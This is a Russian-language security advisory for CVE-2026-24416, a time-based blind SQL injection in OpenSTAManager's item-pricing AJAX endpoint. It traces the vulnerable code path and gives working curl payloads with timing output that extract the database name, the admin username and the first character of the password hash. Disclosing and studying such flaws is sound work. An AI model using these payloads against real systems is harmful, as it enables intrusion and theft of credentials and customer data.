
CVE-2026-24416 - OpenSTAManager содержит слепую SQL-инъекцию на основе времени в модуле ценообразования товаров.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-24416 |
| Серьёзность | ВЫСОКАЯ |
| Рекомендация | Посмотреть рекомендацию |
| Обнаружил | Лукаш Рыбак |
Критическая уязвимость слепой SQL-инъекции на основе времени в модуле ценообразования товаров OpenSTAManager v2.9.8 позволяет аутентифицированным злоумышленникам извлекать полное содержимое базы данных, включая учётные данные пользователей, данные клиентов и финансовые записи, с помощью атак на основе временных логических выводов (time-based Boolean inference).
Статус: ✅ Подтверждено и протестировано на живом экземпляре (v2.9.8) и demo.osmbusiness.it (v2.9.7)
Уязвимый параметр: idarticolo (GET)
Затронутая конечная точка: /ajax_complete.php?op=getprezzi
Затронутый модуль: Articoli (Товары/Продукция)
OpenSTAManager v2.9.8 содержит критическую уязвимость слепой SQL-инъекции на основе времени в обработчике автодополнения цен на товары. Приложение не выполняет должную санитизацию параметра idarticolo перед использованием его в SQL-запросах, что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные с помощью временной логической инференции.
Цепочка уязвимости:
Точка входа: /ajax_complete.php (строка 27)
$op = get('op');
$result = AJAX::complete($op);
Параметр op извлекается, но уязвимость кроется в других параметрах.
Распределение: /src/AJAX.php::complete() (строка 189)
$result = self::getCompleteResults($file, $resource);
Выполнение: /src/AJAX.php::getCompleteResults() (строка 402)
require $file;
Подключаются файлы complete.php, специфичные для модуля.
Уязвимый параметр: /modules/articoli/ajax/complete.php (строка 26)
$idarticolo = get('idarticolo');
Параметр idarticolo извлекается из GET-запроса.
Уязвимый SQL-запрос: /modules/articoli/ajax/complete.php (строка 70) ОСНОВНАЯ УЯЗВИМОСТЬ
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Воздействие: Прямая конкатенация $idarticolo без prepare(), тогда как $idanagrafica должным образом санитизируется.
Контекст — полная структура запроса (строки 39-74):
Уязвимый запрос является частью UNION-запроса, который получает историю цен из счетов и товарных накладных:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ ПРАВИЛЬНО САНИТИЗИРОВАНО (строка 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ УЯЗВИМО - НЕТ prepare() (строка 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Корневая причина: Разработчик правильно использовал prepare() в первом SELECT (строка 54), но забыл применить его во втором SELECT в UNION-запросе (строка 70), создав непоследовательный шаблон безопасности.
Шаг 1: Вход в систему
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Шаг 2: Проверка уязвимости (SLEEP на основе времени)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
Шаг 3: Извлечение данных — имя базы данных
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Шаг 4: Извлечение конфиденциальных данных — учётные данные администратора
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)